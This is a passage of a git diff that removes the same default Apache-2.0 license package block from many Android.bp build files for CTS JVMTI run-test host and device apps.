--- a/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1991/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1991DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1992/Android.bp b/hostsidetests/jvmti/run-tests/test-1992/Android.bp
index 1fc7f43..6dd5bac 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1992/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1992HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
index b62e77f..9f033af 100644
--- a/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1992/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1992DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1994/Android.bp b/hostsidetests/jvmti/run-tests/test-1994/Android.bp
index 90c4e59..7445270 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1994/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1994HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
index 3c00d36..0554ed3 100644
--- a/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1994/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1994DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1995/Android.bp b/hostsidetests/jvmti/run-tests/test-1995/Android.bp
index 8561296..c5c9b2f 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1995/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1995HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
index 8e873a8..39e1f1c 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1995/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1995DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1996/Android.bp b/hostsidetests/jvmti/run-tests/test-1996/Android.bp
index bc17d45..f74d839 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1996/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1996HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
index 8211174..38948d1 100644
--- a/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1996/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1996DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1997/Android.bp b/hostsidetests/jvmti/run-tests/test-1997/Android.bp
index 266e3b3..c604480 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1997/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1997HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
index fc42090..d00d04b 100644
--- a/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1997/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1997DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1998/Android.bp b/hostsidetests/jvmti/run-tests/test-1998/Android.bp
index c3d57f1..04d2ee1 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1998/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1998HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
index 7e4175c..080b99b 100644
--- a/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1998/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1998DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1999/Android.bp b/hostsidetests/jvmti/run-tests/test-1999/Android.bp
index 364f2d8..bb38d8e 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1999/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest1999HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
index 46fb66f..ebab8d8 100644
--- a/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1999/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest1999DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2001/Android.bp b/hostsidetests/jvmti/run-tests/test-2001/Android.bp
index 8288395..788d19b 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2001/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2001HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
index 675fba1..fa64b10 100644
--- a/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2001/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2001DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2002/Android.bp b/hostsidetests/jvmti/run-tests/test-2002/Android.bp
index 1a2138d..6e17916 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2002/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2002HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
index 809a5ae..695244f 100644
--- a/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2002/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2002DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2003/Android.bp b/hostsidetests/jvmti/run-tests/test-2003/Android.bp
index 798ae8e..5c0a0e7 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2003/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2003HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
index cab0a36..0b7dc79 100644
--- a/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2003/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2003DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2004/Android.bp b/hostsidetests/jvmti/run-tests/test-2004/Android.bp
index 2926764..eda8530 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2004/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2004HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
index 6b9985c..507c430 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2004/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2004DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2005/Android.bp b/hostsidetests/jvmti/run-tests/test-2005/Android.bp
index 47af189..866c971 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2005/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2005HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
index 238d9ac..a8b75b7 100644
--- a/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2005/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2005DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2006/Android.bp b/hostsidetests/jvmti/run-tests/test-2006/Android.bp
index 8b0ad46..51500ae 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2006/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2006HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
index 05b0687..2d6cc38 100644
--- a/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2006/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2006DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-2007/Android.bp b/hostsidetests/jvmti/run-tests/test-2007/Android.bp
index b320fbf..9a9a89a 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2007/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest2007HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp b/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
index 6ea9ae9..72acfa6 100644
--- a/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-2007/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest2007DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-902/Android.bp b/hostsidetests/jvmti/run-tests/test-902/Android.bp
index 2299052..ae7a8ed 100644
--- a/hostsidetests/jvmti/run-tests/test-902/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-902/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest902HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
index dffb7b8..3083d65 100644
--- a/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-902/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest902DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-903/Android.bp b/hostsidetests/jvmti/run-tests/test-903/Android.bp
index 615f57a..2fdc29d 100644
--- a/hostsidetests/jvmti/run-tests/test-903/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-903/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest903HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
index 2e2d6fe..bee2731 100644
--- a/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-903/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest903DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-904/Android.bp b/hostsidetests/jvmti/run-tests/test-904/Android.bp
index ce0eeaa..df5c01f 100644
--- a/hostsidetests/jvmti/run-tests/test-904/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-904/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest904HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
index 9da823a..966dd2d 100644
--- a/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-904/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest904DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-905/Android.bp b/hostsidetests/jvmti/run-tests/test-905/Android.bp
index cd2c248..5889c77 100644
--- a/hostsidetests/jvmti/run-tests/test-905/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-905/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest905HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
index 022d70f..70ade13 100644
--- a/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-905/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest905DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-906/Android.bp b/hostsidetests/jvmti/run-tests/test-906/Android.bp
index 8491820..e72f5c2 100644
--- a/hostsidetests/jvmti/run-tests/test-906/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-906/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest906HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
index b6bd3ac..057dee2 100644
--- a/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-906/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest906DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-907/Android.bp b/hostsidetests/jvmti/run-tests/test-907/Android.bp
index 518fc7d..dd5859c 100644
--- a/hostsidetests/jvmti/run-tests/test-907/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-907/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest907HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
index da758c1..3d6a249 100644
--- a/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-907/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest907DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-908/Android.bp b/hostsidetests/jvmti/run-tests/test-908/Android.bp
index aef930a..3837c79 100644
--- a/hostsidetests/jvmti/run-tests/test-908/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-908/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest908HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
index f6de03b..b49570d 100644
--- a/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-908/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest908DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-910/Android.bp b/hostsidetests/jvmti/run-tests/test-910/Android.bp
index cc46813..8b717ec 100644
--- a/hostsidetests/jvmti/run-tests/test-910/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-910/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest910HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
index 9303e1e..9ef6822 100644
--- a/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-910/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest910DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-911/Android.bp b/hostsidetests/jvmti/run-tests/test-911/Android.bp
index 156aa0d..a9e859e 100644
--- a/hostsidetests/jvmti/run-tests/test-911/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-911/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest911HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
index 753ae62..74ef5a4 100644
--- a/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-911/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest911DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-912/Android.bp b/hostsidetests/jvmti/run-tests/test-912/Android.bp
index 8ff1bec..765d95d 100644
--- a/hostsidetests/jvmti/run-tests/test-912/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-912/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest912HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
index bb0ebe9..9c8d015 100644
--- a/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-912/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest912DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.bp b/hostsidetests/jvmti/run-tests/test-913/Android.bp
index 3ef2747..28d9d95a 100644
--- a/hostsidetests/jvmti/run-tests/test-913/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest913HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
index 4b3061a..3871fa6 100644
--- a/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-913/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest913DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-914/Android.bp b/hostsidetests/jvmti/run-tests/test-914/Android.bp
index ac7be56..2f80ca7 100644
--- a/hostsidetests/jvmti/run-tests/test-914/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-914/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest914HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
index 7a97aff..4357172 100644
--- a/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-914/app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsJvmtiRunTest914DeviceApp",
defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-915/Android.bp b/hostsidetests/jvmti/run-tests/test-915/Android.bp
index 7e778d8..a316154 100644
--- a/hostsidetests/jvmti/run-tests/test-915/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-915/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "CtsJvmtiRunTest915HostTestCases",
static_libs: ["CtsJvmtiHostTestBase"],
